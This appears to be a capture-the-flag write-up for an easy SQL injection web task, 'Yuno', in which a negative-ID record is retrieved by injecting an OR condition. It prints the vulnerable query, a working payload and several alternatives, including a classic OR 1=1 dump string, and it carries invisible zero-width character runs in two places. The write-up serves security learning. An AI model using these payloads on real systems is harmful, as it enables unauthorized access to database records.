Yuno

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2019-10-20 | Status: Solved Techniques: negative_id_bypass, sql_injection_or_bypass

Summary

Task: SQL injection with record search by ID where target has negative ID. Solution: OR injection to bypass id > value filter condition.

Yuno — Web Kids 2.0

Description

SQL injection task at https://2019-10-20-sqlinj.ctf.su/yuno

SQL injection task with record search by ID.

Analysis

The database query has the form:

 sql read-only • copy allowed Copy
SELECT * FROM girls WHERE id>'<input>'

Key feature: the Yuno Gasai record has a negative ID (-31337). Since the query uses id > '<input>', regular numeric queries (0, 1, 2...) will never return the record with a negative ID, because -31337 is not greater than any positive number.

This is a classic example of SQL injection where you need to bypass the filter condition by adding an OR condition. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Using SQL injection to add an alternative search condition by name:

Payload:

0' OR name='Yuno Gasai' --

Resulting query:

 sql read-only • copy allowed Copy
SELECT * FROM girls WHERE id>'0' OR name='Yuno Gasai' --'

The condition name='Yuno Gasai' is true for the Yuno record, so it is returned regardless of the id>'0' condition.

Alternative payloads:

' OR 1=1 --           # returns all records
' OR id=-31337 --     # direct search by known ID
-99999' OR '1'='1     # bypass via negative number

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍